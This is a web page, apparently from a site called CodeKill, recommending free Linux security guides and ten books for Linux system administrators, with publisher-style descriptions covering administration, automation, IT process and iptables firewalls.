This document is a general overview of security issues that face the administrator of Linux systems. It covers general security philosophy and a number of specific examples of how to better secure your Linux system from intruders. Also included are pointers to security related material and programs.

12. Secure Programming for Linux and Unix HOWTO

Author(s) David A. Wheeler

This book provides a set of design and implementation guidelines for writing secure programs for Linux and Unix systems. Such programs include application programs used as viewers of remote data, web applications (including CGI scripts), network servers, and setuid/setgid programs. Specific guidelines for C, C++, Java, Perl, PHP, Python, Tcl, and Ada95 are included.

13.Securing and Hardening Red Hat Linux Production Systems

Author(s) Werner Puschitz

This article is a practical step-by-step guide for securing Linux production systems. It discusses basic Linux Security requirements for systems that need to pass various audits in an enterprise environment. If you work on a corporate Linux Security Standard, or if you do Sarbanes-Oxley Act (SOX) or Statement on Auditing Standards No. 70 (SAS 70) related work, then this article should provide you a good baseline.  

Shivam Kotwalia, CodeKill

10 Books For Linux System Administrators

Whether you're new at it or a power user, these books will come in handy.

System administration is one of the most essential task of Linux. You realise the operating system's true power only after you gain command over this aspect. There are some books that are especially useful for this purpose. These 10 books may not be free, but they have been praised by many Linux power users.

1. UNIX and Linux System Administration Handbook, by Evi Nemeth, Garth Snyder, Trent R. Hein, Ben Whaley:

Book Description: This book approaches system administration in a practical way and is an invaluable reference for both new administrators and experienced professionals. It details best practices for every facet of system administration, including storage management, network design and administration, email, web hosting, scripting, software configuration management, performance analysis, Windows interoperability, virtualization, DNS, security, management of IT service organizations, and much more. UNIX® and Linux® System Administration Handbook, Fourth Edition, reflects the current versions of these operating systems:

2. Essential System Administration, by Æleen Frisch:

Book Description: Essential System Administration,3rd Edition is the definitive guide for Unix system administration, covering all the fundamental and essential tasks required to run such divergent Unix systems as AIX, FreeBSD, HP-UX, Linux, Solaris, Tru64 and more. Essential System Administration provides a clear, concise, practical guide to the real-world issues that anyone responsible for a Unix system faces daily.

The new edition of this indispensable reference has been fully updated for all the latest operating systems. Even more importantly, it has been extensively revised and expanded to consider the current system administrative topics that administrators need most. Essential System Administration,3rd Edition covers: DHCP, USB devices, the latest automation tools, SNMP and network management, LDAP, PAM, and recent security tools and techniques.

Essential System Administration is comprehensive. But what has made this book the guide system administrators turn to over and over again is not just the sheer volume of valuable information it provides, but the clear, useful way the information is presented. It discusses the underlying higher-level concepts, but it also provides the details of the procedures needed to carry them out. It is not organized around the features of the Unix operating system, but around the various facets of a system administrator's job. It describes all the usual administrative tools that Unix provides, but it also shows how to use them intelligently and efficiently.

Whether you use a standalone Unix system, routinely provide administrative support for a larger shared system, or just want an understanding of basic administrative functions, Essential System Administration is for you. This comprehensive and invaluable book combines the author's years of practical experience with technical expertise to help you manage Unix systems as productively and painlessly as possible.


3. The Practice of System and Network Administration, by Thomas Limoncelli, Christina Hogan, Strata Chalup:

Book Description:The first edition of The Practice of System and Network Administration introduced a generation of system and network administrators to a modern IT methodology. Whether you use Linux, Unix, or Windows, this newly revised edition describes the essential practices previously handed down only from mentor to protégé. This wonderfully lucid, often funny cornucopia of information introduces beginners to advanced frameworks valuable for their entire career, yet is structured to help even the most advanced experts through difficult projects.

The book's four major sections build your knowledge with the foundational elements of system administration. These sections guide you through better techniques for upgrades and change management, catalog best practices for IT services, and explore various management topics. Chapters are divided into The Basics and The Icing. When you get the Basics right it makes every other aspect of the job easier--such as automating the right things first. The Icing sections contain all the powerful things that can be done on top of the basics to wow customers and managers.

Inside, you'll find advice on topics such as

- The key elements your networks and systems need in order to make all other services run better

- Building and running reliable, scalable services, including web, storage, email, printing, and remote access

-Creating and enforcing security policies

- Upgrading multiple hosts at one time without creating havoc

- Planning for and performing flawless scheduled maintenance windows

- Managing superior helpdesks and customer care

- Avoiding the "temporary fix" trap

- Building data centers that improve server uptime

- Designing networks for speed and reliability

- Web scaling and security issues

- Why building a backup system isn't about backups

- Monitoring what you have and predicting what you will need

- How technically oriented workers can maintain their job's technical focus (and avoid an unwanted management role)

- Technical management issues, including morale, organization building, coaching, and maintaining positive visibility

- Personal skill techniques, including secrets for getting more done each day, ethical dilemmas, managing your boss, and loving your job

- System administration salary negotiation

It's no wonder the first edition received Usenix SAGE's 2005 Outstanding Achievement Award!

This eagerly anticipated second edition updates this time-proven classic:

- Chapters reordered for easier navigation

- Thousands of updates and clarifications based on reader feedback

- Plus three entirely new chapters: Web Services, Data Storage, and Documentation

4. Pro Linux System Administration, by James Turnbull, Peter Lieverdink, Dennis Matotek

Book Description: We can all be Linux experts, provided we invest the time in learning the craft of Linux administration. Pro Linux System Administration makes it easy for small- to medium–sized businesses to enter the world of zero–cost software running on Linux and covers all the distros you might want to use, including Red Hat, Ubuntu, Debian, and CentOS. Authors, and systems infrastructure experts James Turnbull, Peter Lieverdink, and Dennis Matotek take a layered, component–based approach to open source business systems, while training system administrators as the builders of business infrastructure.

If you want to implement a SOHO or SMB Linux infrastructure, Pro Linux System Administration clearly demonstrates everything you need. You’ll find this book also provides a solid framework to move forward and expand your business and associated IT capabilities, and you’ll benefit from the expertise and experienced guidance of the authors. Pro Linux System Administration covers

- An introduction to using Linux and free and open source software to cheaply and efficiently manage your business

- A layered model that allows your infrastructure to grow with your business

- Easy and simple–to–understand instructions including configurations, examples, and extensive real–world hints and tips

What you’ll learn

- Linux architecture

- How to build, back up, and recover Linux servers

- Creating basic networks and network services with Linux

- Building and implementing Linux infrastructure and services including mail, web, databases, and file and print

- Implementing Linux security

- Understanding Linux performance and capacity planning issues

Who this book is for

This book is for small to medium–sized business owners looking to run their own IT, system administrators considering migrating to Linux, and IT systems integrators looking for an extensible Linux infrastructure management approach.
Table of Contents

- Introducing Linux

- Installing Linux

- Linux Basics

- Users and Groups

- Startup and Services

- Networking and Firewalls

- Package Management

- Storage Management and Disaster

Recovery

- Infrastructure Services: NTP, DNS, DHCP, and SSH

- Mail Services

- Web and SQL Services

- File and Print Sharing

- Backup and Recovery

- Networking with VPNs

- Collaborative Services

- Directory Services

- Performance Monitoring and Optimisation

- Logging and Monitoring

- Configuration Management

- Virtualisation

5. Linux System Administration, by Tom Adelstein, Bill Lubanovic

Book Description: If you're an experienced system administrator looking to acquire Linux skills, or a seasoned Linux user facing a new challenge, Linux System Administration offers practical knowledge for managing a complete range of Linux systems and servers. The book summarizes the steps you need to build everything from standalone Soho hubs, web servers, and Lan servers to load-balanced clusters and servers consolidated through virtualization. Along the way, you'll learn about all of the tools you need to set up and maintain these working environments.

Linux is now a standard corporate platform with users numbering in the hundreds of millions, and there is a definite shortage of talented administrators. Linux System Administration is ideal as an introduction to Linux for Unix veterans, Mcses, and mainframe administrators, and as an advanced (and refresher) guide for existing Linux administrators who will want to jump into the middle of the book. Inside, you'll learn how to:

- Set up a stand-alone Linux server

- Install, configure, maintain, and troubleshoot a Dns server using Bind

- Build an Internet server to manage sites, perform email and file transfers, and more

- Set up an email service for a small-to-medium-sized site, complete with authentication



- Install and configure Apache, Php, and MySql on a web server built from scratch

- Combine computers into a load-balanced Apache web server cluster based on the free Linux Virtual Server

- Set up local network services from distributed file systems to Dhcp services, gateway services, print services, user management and more

- Use Linux virtualization with Xen or Vmware to run multiple kernels on one piece of hardware; manage each kernel's access to processor time, devices, and memory

- Create shell scripts and adapt them for your own ne

6. Automating System Administration with Perl, by David N. Blank-Edelman

Book Description: If you do systems administration work of any kind, you have to deal with the growing complexity of your environment and increasing demands on your time. Automating System Administration with Perl, Second Edition, not only offers you the right tools for your job, but also suggests the best way to approach specific problems and to securely automate recurring tasks. Updated and expanded to cover the latest operating systems, technologies, and Perl modules, this edition of the "Otter Book" will help you:

- Manage user accounts

- Monitor filesystems and processes

- Work with configuration files in important formats such as XML and YAML

- Administer databases, including MySQL, MS-SQL, and Oracle with DBI

- Work with directory services like LDAP and Active Directory

- Script email protocols and spam control

- Effectively create, handle, and analyze log files Administer network name and configuration services, including NIS, DNS and DHCP

- Maintain, monitor, and map network services, using technologies and tools such as SNMP, nmap, libpcap, GraphViz and RRDtool

- Improve filesystem, process, and network security

This edition includes additional appendixes to get you up to speed on technologies such as XML/XPath, LDAP, SNMP, and SQL. With this book in hand and Perl in your toolbox, you can do more with less--fewer resources, less effort, and far less hassle.

7. The Visible Ops Handbook, by Kevin Behr, Gene Kim, George Spafford

Book Description: The Core of Visible Ops Visible Ops is a methodology designed to jumpstart implementation of controls and process improvement in IT organizations needing to increase service levels, security, and auditability while managing costs. Visible Ops is comprised of four prescriptive and self-fueling steps that take an organization from any starting point to a continually improving process. Making ITIL Actionable Although the Information Technology Infrastructure Library (ITIL) provides a wealth of best practices, it lacks prescriptive guidance: What do you implement first, and how do you do it? Moreover, the ITIL books remain relatively expensive to distribute. Other information, publicly available from a variety of sources, is too general and vague to effectively aid organizations that need to start or enhance process improvement efforts. The Visible Ops booklet provides a prescriptive roadmap for organizations beginning or continuing their IT process improvement journey. Why Do You Need Visible Ops? The Visible Ops methodology was developed because there was not a satisfactory answer to the question: “I believe in the need for IT process improvement, but where do I start?” Since 2000, Gene Kim and Kevin Behr have met with hundreds of IT organizations and identified eight high-performing IT organizations with the highest service levels, best security, and best efficiencies. For years, they studied these high-performing organizations to figure out the secrets to their success. Visible Ops codifies how these organizations achieved their transformation from good to great, showing how interested organizations can replicate the key processes of these high-performing organizations in just four steps: 1. Stabilize Patient, Modify First Response – Almost 80% of outages are self-inflicted. The first step is to control risky changes and reduce MTTR by addressing how changes are managed and how problems are resolved. 2. Catch and Release, Find Fragile Artifacts – Often, infrastructure exists that cannot be repeatedly replicated. In this step, we inventory assets, configurations and services, to identify those with the lowest change success rates, highest MTTR and highest business downtime costs. 3. Establish Repeatable Build Library – The highest return on investment is implementing effective release management processes. This step creates repeatable builds for the most critical assets and services, to make it “cheaper to rebuild than to repair.” 4. Enable Continuous Improvement – The previous steps have progressively built a closed-loop between the Release, Control and Resolution processes. This step implements metrics to allow continuous improvement of all of these process areas, to best ensure that business objectives are met.

8. Automating Linux and Unix System Administration, by Nathan Campi, Kirk Bauer

Book Description: Whether you need a network of ten Linux PCs and a server or a data center with a few thousand UNIX nodes, you need to know how to automate much of the installation, configuration, and standard system administration.

Build your network once using cfengine, and the network build will work, without user intervention, on any hardware you prefer. Automating Linux and Unix System Administration, Second Edition is unique in its focus on how to make the system administrator’s job easier and more efficient: instead of just managing the system administrator’s time, the book explains the technology to automate repetitive tasks and the methodology to automate successfully.

- Both new and seasoned professionals will profit from industry–leading insights into the automation process.

- System administrators will attain a thorough grasp of cfengine, kickstart, and shell scripting for automation.

- After reading all chapters and following all exercises in this book, the reader will be able to set up anything from a Linux data center to a small office network.

What you’ll learn

See how to make changes on many UNIX and Linux hosts at once in a reliable and repeatable manner.

- Learn how to automate things correctly so you only have to do it once, by leveraging the authors’ experience in setting up small, medium, and large networks.

- Set up a Linux data center or a network correctly.

- Explore handling real–world environments where not all hosts are configured alike via a case study of a fictional new data center build-out.

- Examine real–world examples for core infrastructure services (DNS, mail, monitoring, log analysis, security, cfengine, imaging) to build on in your environment.

- Understand core system administration best practices, which are a key part of how cfengine and automations deployments are outlined in the book.

- Learn how to make changes reversible, repeatable, and correct the first time through interaction with product/application stakeholders (programmers, product managers, customers, etc.).

Who this book is for

This book is for Linux system administrators who want to learn about the software and methodology to automate repetitive tasks—regardless of network or data center size—in one place. System managers will also find it much easier to think about network technology and automation projects if they read this book. This book is also for anyone who is interested in repeatable and secure infrastructure.

9. Python for Unix and Linux System Administration, by Noah Gift, Jeremy Jones

Book Description: Python is an ideal language for solving problems, especially in Linux and Unix networks. With this pragmatic book, administrators can review various tasks that often occur in the management of these systems, and learn how Python can provide a more efficient and less painful way to handle them. Each chapter in Python for Unix and Linux System Administration presents a particular administrative issue, such as concurrency or data backup, and presents Python solutions through hands-on examples. Once you finish this book, you'll be able to develop your own set of command-line utilities with Python to tackle a wide range of problems. Discover how this language can help you: Read text files and extract information Run tasks concurrently using the threading and forking options Get information from one process to another using network facilities Create clickable Guis to handle large and complex utilities Monitor large clusters of machines by interacting with Snmp programmatically Master the Ipython Interactive Python shell to replace or augment Bash, Korn, or Z-Shell Integrate Cloud Computing into your infrastructure, and learn to write a Google App Engine Application Solve unique data backup challenges with customized scripts Interact with MySql, Sqlite, Oracle, Postgres, Django Orm, and Sqlalchemy With this book, you'll learn how to package and deploy your Python applications and libraries, and write code that runs equally well on multiple Unix platforms. You'll also learn about several Python-related technologies that will make your life much easier.

10. Linux Firewalls, by Michael Rash

Book Description: System administrators need to stay ahead of new security vulnerabilities that leave their networks exposed every day. A firewall and an intrusion detection systems (IDS) are two important weapons in that fight, enabling you to proactively deny access and monitor network traffic for signs of an attack.

Linux Firewalls discusses the technical details of the iptables firewall and the Netfilter framework that are built into the Linux kernel, and it explains how they provide strong filtering, Network Address Translation (NAT), state tracking, and application layer inspection capabilities that rival many commercial tools. You'll learn how to deploy iptables as an IDS with psad and fwsnort and how to build a strong, passive authentication layer around iptables with fwknop.

Concrete examples illustrate concepts such as firewall log analysis and policies, passive network authentication and authorisation, exploit packet traces, Snort ruleset emulation, and more with coverage of these topics:

- Passive network authentication and OS fingerprinting

- iptables log analysis and policies

- Application layer attack detection with the iptables string match extension

- Building an iptables ruleset that emulates a Snort ruleset

- Port knocking vs. Single Packet Authorization (SPA)

- Tools for visualising iptables logs

Perl and C code snippets offer practical examples that will help you to maximize your deployment of Linux firewalls. If you're responsible for keeping a network secure, you'll find Linux Firewalls invaluable in your attempt to understand attacks and use iptables-along with psad and fwsnort-to detect and even prevent compromises.

Shivam Kotwalia, CodeKill